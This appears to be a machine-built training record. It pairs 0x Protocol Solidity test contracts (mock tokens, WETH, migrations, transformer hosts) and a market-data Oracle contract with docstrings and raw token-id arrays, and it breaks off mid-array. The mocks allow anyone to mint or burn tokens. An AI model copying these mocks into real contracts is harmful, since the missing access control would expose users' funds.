pragma experimental ABIEncoderV2;
interface ITestSimpleFunctionRegistryFeature {
function testFn() external view returns (uint256 id);
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
contract TestCallTarget {
event CallTargetCalled(
address context,
address sender,
bytes data,
uint256 value
);
bytes4 private constant MAGIC_BYTES = 0x12345678;
bytes private constant REVERTING_DATA = hex"1337";
fallback() external payable {
if (keccak256(msg.data) == keccak256(REVERTING_DATA)) {
revert("TestCallTarget/REVERT");
}
emit CallTargetCalled(
address(this),
msg.sender,
msg.data,
msg.value
);
bytes4 rval = MAGIC_BYTES;
assembly {
mstore(0, rval)
return(0, 32)
}
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
contract TestDelegateCaller {
function executeDelegateCall(
address target,
bytes calldata callData
)
external
{
(bool success, bytes memory resultData) = target.delegatecall(callData);
if (!success) {
assembly { revert(add(resultData, 32), mload(resultData)) }
}
assembly { return(add(resultData, 32), mload(resultData)) }
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/LibBytesV06.sol";
import "@0x/contracts-utils/contracts/src/v06/LibMathV06.sol";
import "@0x/contracts-utils/contracts/src/v06/LibSafeMathV06.sol";
import "../src/vendor/v3/IExchange.sol";
import "./TestMintableERC20Token.sol";
contract TestFillQuoteTransformerExchange {
struct FillBehavior {
// How much of the order is filled, in taker asset amount.
uint256 filledTakerAssetAmount;
// Scaling for maker assets minted, in 1e18.
uint256 makerAssetMintRatio;
}
uint256 private constant PROTOCOL_FEE_MULTIPLIER = 1337;
using LibSafeMathV06 for uint256;
function fillOrder(
IExchange.Order calldata order,
uint256 takerAssetFillAmount,
bytes calldata signature
)
external
payable
returns (IExchange.FillResults memory fillResults)
{
require(
signature.length != 0,
"TestFillQuoteTransformerExchange/INVALID_SIGNATURE"
);
// The signature is the ABI-encoded FillBehavior data.
FillBehavior memory behavior = abi.decode(signature, (FillBehavior));
uint256 protocolFee = PROTOCOL_FEE_MULTIPLIER * tx.gasprice;
require(
msg.value == protocolFee,
"TestFillQuoteTransformerExchange/INSUFFICIENT_PROTOCOL_FEE"
);
// Return excess protocol fee.
msg.sender.transfer(msg.value - protocolFee);
// Take taker tokens.
TestMintableERC20Token takerToken = _getTokenFromAssetData(order.takerAssetData);
takerAssetFillAmount = LibSafeMathV06.min256(
order.takerAssetAmount.safeSub(behavior.filledTakerAssetAmount),
takerAssetFillAmount
);
require(
takerToken.getSpendableAmount(msg.sender, address(this)) >= takerAssetFillAmount,
"TestFillQuoteTransformerExchange/INSUFFICIENT_TAKER_FUNDS"
);
takerToken.transferFrom(msg.sender, order.makerAddress, takerAssetFillAmount);
// Mint maker tokens.
uint256 makerAssetFilledAmount = LibMathV06.getPartialAmountFloor(
takerAssetFillAmount,
order.takerAssetAmount,
order.makerAssetAmount
);
TestMintableERC20Token makerToken = _getTokenFromAssetData(order.makerAssetData);
makerToken.mint(
msg.sender,
LibMathV06.getPartialAmountFloor(
behavior.makerAssetMintRatio,
1e18,
makerAssetFilledAmount
)
);
// Take taker fee.
TestMintableERC20Token takerFeeToken = _getTokenFromAssetData(order.takerFeeAssetData);
uint256 takerFee = LibMathV06.getPartialAmountFloor(
takerAssetFillAmount,
order.takerAssetAmount,
order.takerFee
);
require(
takerFeeToken.getSpendableAmount(msg.sender, address(this)) >= takerFee,
"TestFillQuoteTransformerExchange/INSUFFICIENT_TAKER_FEE_FUNDS"
);
takerFeeToken.transferFrom(msg.sender, order.feeRecipientAddress, takerFee);
fillResults.makerAssetFilledAmount = makerAssetFilledAmount;
fillResults.takerAssetFilledAmount = takerAssetFillAmount;
fillResults.makerFeePaid = uint256(-1);
fillResults.takerFeePaid = takerFee;
fillResults.protocolFeePaid = protocolFee;
}
function encodeBehaviorData(FillBehavior calldata behavior)
external
pure
returns (bytes memory encoded)
{
return abi.encode(behavior);
}
function protocolFeeMultiplier()
external
pure
returns (uint256)
{
return PROTOCOL_FEE_MULTIPLIER;
}
function getAssetProxy(bytes4)
external
view
returns (address)
{
return address(this);
}
function _getTokenFromAssetData(bytes memory assetData)
private
pure
returns (TestMintableERC20Token token)
{
return TestMintableERC20Token(LibBytesV06.readAddress(assetData, 16));
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
contract TestMintableERC20Token {
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function transfer(address to, uint256 amount)
external
virtual
returns (bool)
{
return transferFrom(msg.sender, to, amount);
}
function approve(address spender, uint256 amount)
external
virtual
returns (bool)
{
allowance[msg.sender][spender] = amount;
return true;
}
function mint(address owner, uint256 amount)
external
virtual
{
balanceOf[owner] += amount;
}
function burn(address owner, uint256 amount)
external
virtual
{
require(balanceOf[owner] >= amount, "TestMintableERC20Token/INSUFFICIENT_FUNDS");
balanceOf[owner] -= amount;
}
function transferFrom(address from, address to, uint256 amount)
public
virtual
returns (bool)
{
if (from != msg.sender) {
require(
allowance[from][msg.sender] >= amount,
"TestMintableERC20Token/INSUFFICIENT_ALLOWANCE"
);
allowance[from][msg.sender] -= amount;
}
require(balanceOf[from] >= amount, "TestMintableERC20Token/INSUFFICIENT_FUNDS");
balanceOf[from] -= amount;
balanceOf[to] += amount;
return true;
}
function getSpendableAmount(address owner, address spender)
external
view
returns (uint256)
{
return balanceOf[owner] < allowance[owner][spender]
? balanceOf[owner]
: allowance[owner][spender];
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../src/transformers/IERC20Transformer.sol";
import "./TestMintableERC20Token.sol";
import "./TestTransformerHost.sol";
contract TestFillQuoteTransformerHost is
TestTransformerHost
{
function executeTransform(
IERC20Transformer transformer,
TestMintableERC20Token inputToken,
uint256 inputTokenAmount,
bytes calldata data
)
external
payable
{
if (inputTokenAmount != 0) {
inputToken.mint(address(this), inputTokenAmount);
}
// Have to make this call externally because transformers aren't payable.
this.rawExecuteTransform(transformer, bytes32(0), msg.sender, data);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol";
import "../src/transformers/IERC20Transformer.sol";
import "../src/transformers/LibERC20Transformer.sol";
contract TestTransformerHost {
using LibERC20Transformer for IERC20TokenV06;
using LibRichErrorsV06 for bytes;
function rawExecuteTransform(
IERC20Transformer transformer,
bytes32 callDataHash,
address taker,
bytes calldata data
)
external
{
(bool _success, bytes memory resultData) =
address(transformer).delegatecall(abi.encodeWithSelector(
transformer.transform.selector,
callDataHash,
taker,
data
));
if (!_success) {
resultData.rrevert();
}
require(
abi.decode(resultData, (bytes4)) == LibERC20Transformer.TRANSFORMER_SUCCESS,
"TestTransformerHost/INVALID_TRANSFORMER_RESULT"
);
}
// solhint-disable
receive() external payable {}
// solhint-enable
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../src/ZeroEx.sol";
import "../src/features/IBootstrap.sol";
import "../src/migrations/FullMigration.sol";
contract TestFullMigration is
FullMigration
{
address public dieRecipient;
// solhint-disable-next-line no-empty-blocks
constructor(address payable deployer) public FullMigration(deployer) {}
function die(address payable ethRecipient) external override {
dieRecipient = ethRecipient;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../src/ZeroEx.sol";
import "../src/features/IBootstrap.sol";
import "../src/migrations/InitialMigration.sol";
contract TestInitialMigration is
InitialMigration
{
address public bootstrapFeature;
address public dieRecipient;
// solhint-disable-next-line no-empty-blocks
constructor(address deployer) public InitialMigration(deployer) {}
function callBootstrap(ZeroEx zeroEx) external {
IBootstrap(address(zeroEx)).bootstrap(address(this), new bytes(0));
}
function bootstrap(address owner, BootstrapFeatures memory features)
public
override
returns (bytes4 success)
{
success = InitialMigration.bootstrap(owner, features);
// Snoop the bootstrap feature contract.
bootstrapFeature = ZeroEx(address(uint160(address(this))))
.getFunctionImplementation(IBootstrap.bootstrap.selector);
}
function die(address payable ethRecipient) public override {
dieRecipient = ethRecipient;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../src/migrations/LibMigrate.sol";
import "../src/features/IOwnable.sol";
contract TestMigrator {
event TestMigrateCalled(
bytes callData,
address owner
);
function succeedingMigrate() external returns (bytes4 success) {
emit TestMigrateCalled(
msg.data,
IOwnable(address(this)).owner()
);
return LibMigrate.MIGRATE_SUCCESS;
}
function failingMigrate() external returns (bytes4 success) {
emit TestMigrateCalled(
msg.data,
IOwnable(address(this)).owner()
);
return 0xdeadbeef;
}
function revertingMigrate() external pure {
revert("OOPSIE");
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol";
import "../src/transformers/IERC20Transformer.sol";
import "../src/transformers/LibERC20Transformer.sol";
import "./TestMintableERC20Token.sol";
contract TestMintTokenERC20Transformer is
IERC20Transformer
{
struct TransformData {
IERC20TokenV06 inputToken;
TestMintableERC20Token outputToken;
uint256 burnAmount;
uint256 mintAmount;
uint256 feeAmount;
}
event MintTransform(
address context,
address caller,
bytes32 callDataHash,
address taker,
bytes data,
uint256 inputTokenBalance,
uint256 ethBalance
);
function transform(
bytes32 callDataHash,
address payable taker,
bytes calldata data_
)
external
override
returns (bytes4 success)
{
TransformData memory data = abi.decode(data_, (TransformData));
emit MintTransform(
address(this),
msg.sender,
callDataHash,
taker,
data_,
data.inputToken.balanceOf(address(this)),
address(this).balance
);
// "Burn" input tokens.
data.inputToken.transfer(address(0), data.burnAmount);
// Mint output tokens.
if (LibERC20Transformer.isTokenETH(IERC20TokenV06(address(data.outputToken)))) {
taker.transfer(data.mintAmount);
} else {
data.outputToken.mint(
taker,
data.mintAmount
);
// Burn fees from output.
data.outputToken.burn(taker, data.feeAmount);
}
return LibERC20Transformer.TRANSFORMER_SUCCESS;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../src/fixins/FixinCommon.sol";
contract TestSimpleFunctionRegistryFeatureImpl1 is
FixinCommon
{
function testFn()
external
pure
returns (uint256 id)
{
return 1337;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../src/fixins/FixinCommon.sol";
contract TestSimpleFunctionRegistryFeatureImpl2 is
FixinCommon
{
function testFn()
external
pure
returns (uint256 id)
{
return 1338;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../src/features/TokenSpender.sol";
contract TestTokenSpender is
TokenSpender
{
modifier onlySelf() override {
_;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "./TestMintableERC20Token.sol";
contract TestTokenSpenderERC20Token is
TestMintableERC20Token
{
event TransferFromCalled(
address sender,
address from,
address to,
uint256 amount
);
// `transferFrom()` behavior depends on the value of `amount`.
uint256 constant private EMPTY_RETURN_AMOUNT = 1337;
uint256 constant private FALSE_RETURN_AMOUNT = 1338;
uint256 constant private REVERT_RETURN_AMOUNT = 1339;
function transferFrom(address from, address to, uint256 amount)
public
override
returns (bool)
{
emit TransferFromCalled(msg.sender, from, to, amount);
if (amount == EMPTY_RETURN_AMOUNT) {
assembly { return(0, 0) }
}
if (amount == FALSE_RETURN_AMOUNT) {
return false;
}
if (amount == REVERT_RETURN_AMOUNT) {
revert("TestTokenSpenderERC20Token/Revert");
}
return true;
}
function setBalanceAndAllowanceOf(
address owner,
uint256 balance,
address spender,
uint256 allowance_
)
external
{
balanceOf[owner] = balance;
allowance[owner][spender] = allowance_;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../src/features/TransformERC20.sol";
contract TestTransformERC20 is
TransformERC20
{
// solhint-disable no-empty-blocks
constructor()
TransformERC20()
public
{}
modifier onlySelf() override {
_;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../src/transformers/Transformer.sol";
import "../src/transformers/LibERC20Transformer.sol";
contract TestTransformerBase is
Transformer
{
function transform(
bytes32,
address payable,
bytes calldata
)
external
override
returns (bytes4 success)
{
return LibERC20Transformer.TRANSFORMER_SUCCESS;
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../src/transformers/LibERC20Transformer.sol";
contract TestTransformerDeployerTransformer {
address payable public immutable deployer;
constructor() public payable {
deployer = msg.sender;
}
modifier onlyDeployer() {
require(msg.sender == deployer, "TestTransformerDeployerTransformer/ONLY_DEPLOYER");
_;
}
function die()
external
onlyDeployer
{
selfdestruct(deployer);
}
function isDeployedByDeployer(uint32 nonce)
external
view
returns (bool)
{
return LibERC20Transformer.getDeployedAddress(deployer, nonce) == address(this);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "./TestMintableERC20Token.sol";
contract TestWeth is
TestMintableERC20Token
{
function deposit()
external
payable
{
this.mint(msg.sender, msg.value);
}
function withdraw(uint256 amount)
external
{
require(balanceOf[msg.sender] >= amount, "TestWeth/INSUFFICIENT_FUNDS");
balanceOf[msg.sender] -= amount;
msg.sender.transfer(amount);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../src/transformers/IERC20Transformer.sol";
import "./TestMintableERC20Token.sol";
import "./TestTransformerHost.sol";
import "./TestWeth.sol";
contract TestWethTransformerHost is
TestTransformerHost
{
// solhint-disable
TestWeth private immutable _weth;
// solhint-enable
constructor(TestWeth weth) public {
_weth = weth;
}
function executeTransform(
uint256 wethAmount,
IERC20Transformer transformer,
bytes calldata data
)
external
payable
{
if (wethAmount != 0) {
_weth.deposit{value: wethAmount}();
}
// Have to make this call externally because transformers aren't payable.
this.rawExecuteTransform(transformer, bytes32(0), msg.sender, data);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "../src/fixins/FixinCommon.sol";
import "../src/ZeroEx.sol";
contract TestZeroExFeature is
FixinCommon
{
event PayableFnCalled(uint256 value);
event NotPayableFnCalled();
function payableFn()
external
payable
{
emit PayableFnCalled(msg.value);
}
function notPayableFn()
external
{
emit NotPayableFnCalled();
}
// solhint-disable no-empty-blocks
function unimplmentedFn()
external
{}
function internalFn()
external
onlySelf
{}
}
|
@dev Transform data to ABI-encode and pass into `transform()`. Whether we aer performing a market sell or buy. The token being sold. This should be an actual token, not the ETH pseudo-token. The token being bought. This should be an actual token, not the ETH pseudo-token. The orders to fill. Signatures for each respective order in `orders`. Maximum fill amount for each order. This may be shorter than the number of orders, where missing entries will be treated as `uint256(-1)`. For sells, this will be the maximum sell amount (taker asset). For buys, this will be the maximum buy amount (maker asset). Amount of `sellToken` to sell or `buyToken` to buy. For sells, this may be `uint256(-1)` to sell the entire balance of `sellToken`.
|
struct TransformData {
Side side;
IERC20TokenV06 sellToken;
IERC20TokenV06 buyToken;
IExchange.Order[] orders;
bytes[] signatures;
uint256[] maxOrderFillAmounts;
uint256 fillAmount;
}
| 5,368,853 |
[
1,
4059,
501,
358,
10336,
45,
17,
3015,
471,
1342,
1368,
1375,
6547,
1435,
8338,
17403,
732,
279,
264,
14928,
279,
13667,
357,
80,
578,
30143,
18,
1021,
1147,
3832,
272,
1673,
18,
1220,
1410,
506,
392,
3214,
1147,
16,
486,
326,
512,
2455,
12454,
17,
2316,
18,
1021,
1147,
3832,
800,
9540,
18,
1220,
1410,
506,
392,
3214,
1147,
16,
486,
326,
512,
2455,
12454,
17,
2316,
18,
1021,
11077,
358,
3636,
18,
4383,
2790,
364,
1517,
17613,
1353,
316,
1375,
9972,
8338,
18848,
3636,
3844,
364,
1517,
1353,
18,
1220,
2026,
506,
19623,
2353,
326,
1300,
434,
11077,
16,
1625,
3315,
3222,
903,
506,
13974,
487,
1375,
11890,
5034,
19236,
21,
13,
8338,
2457,
357,
3251,
16,
333,
903,
506,
326,
4207,
357,
80,
3844,
261,
88,
6388,
3310,
2934,
2457,
25666,
1900,
16,
333,
903,
506,
326,
4207,
30143,
3844,
261,
29261,
3310,
2934,
16811,
434,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
565,
1958,
11514,
751,
288,
203,
3639,
26248,
4889,
31,
203,
3639,
467,
654,
39,
3462,
1345,
58,
7677,
357,
80,
1345,
31,
203,
3639,
467,
654,
39,
3462,
1345,
58,
7677,
30143,
1345,
31,
203,
3639,
467,
11688,
18,
2448,
8526,
11077,
31,
203,
3639,
1731,
8526,
14862,
31,
203,
3639,
2254,
5034,
8526,
943,
2448,
8026,
6275,
87,
31,
203,
3639,
2254,
5034,
3636,
6275,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
/**
* @title Oracle.
* @author TruSource
* @notice MarketData oracle contract
*/
contract Oracle {
address private owner;
enum Operations { getAvgPrice, getDepth, getTicker24hr, getBookTicker, getTickerPrice, getTrades }
// number of requests is incremented for each request to generate unique id
mapping (address => uint256) private numRequests;
event Log(
address sender,
bytes32 queryId,
Operations operationId,
bytes pathParams,
bytes queryParams,
string options
);
constructor() public {
owner = msg.sender;
}
/**
* @return address owner address
*/
function getOwner() external view returns (address) {
return owner;
}
/**
* @param queryParams encoded query parameters buffer
* @param options options string
* @return bytes32 query id
*/
function getAvgPrice(bytes calldata queryParams, string calldata options) external returns (bytes32) {
return makeRequest(Operations.getAvgPrice, "", queryParams, options);
}
/**
* @param queryParams encoded query parameters buffer
* @param options options string
* @return bytes32 query id
*/
function getDepth(bytes calldata queryParams, string calldata options) external returns (bytes32) {
return makeRequest(Operations.getDepth, "", queryParams, options);
}
/**
* @param queryParams encoded query parameters buffer
* @param options options string
* @return bytes32 query id
*/
function getTicker24hr(bytes calldata queryParams, string calldata options) external returns (bytes32) {
return makeRequest(Operations.getTicker24hr, "", queryParams, options);
}
/**
* @param queryParams encoded query parameters buffer
* @param options options string
* @return bytes32 query id
*/
function getBookTicker(bytes calldata queryParams, string calldata options) external returns (bytes32) {
return makeRequest(Operations.getBookTicker, "", queryParams, options);
}
/**
* @param queryParams encoded query parameters buffer
* @param options options string
* @return bytes32 query id
*/
function getTickerPrice(bytes calldata queryParams, string calldata options) external returns (bytes32) {
return makeRequest(Operations.getTickerPrice, "", queryParams, options);
}
/**
* @param queryParams encoded query parameters buffer
* @param options options string
* @return bytes32 query id
*/
function getTrades(bytes calldata queryParams, string calldata options) external returns (bytes32) {
return makeRequest(Operations.getTrades, "", queryParams, options);
}
/**
* @param operationId operation id
* @return bytes32 query id
*/
function generateQueryId(Operations operationId) internal returns (bytes32) {
// increment number requests
numRequests[msg.sender]++;
// create id from hash of contract address, requestor address, requestor address count, and operation id
return keccak256(abi.encodePacked(this, msg.sender, numRequests[msg.sender], operationId));
}
/**
* @param operationId operation id
* @param pathParams encoded path parameters buffer
* @param queryParams encoded query parameters buffer
* @param options options string
* @return bytes32 query id
*/
function makeRequest(
Operations operationId,
bytes memory pathParams,
bytes memory queryParams,
string memory options
) internal returns (bytes32) {
bytes32 queryId = generateQueryId(operationId);
emit Log(msg.sender, queryId, operationId, pathParams, queryParams, options);
return queryId;
}
}
|
* @param queryParams encoded query parameters buffer @param options options string @return bytes32 query id/
|
function getTrades(bytes calldata queryParams, string calldata options) external returns (bytes32) {
return makeRequest(Operations.getTrades, "", queryParams, options);
}
| 12,657,254 |
[
1,
2271,
1370,
3749,
843,
1472,
1613,
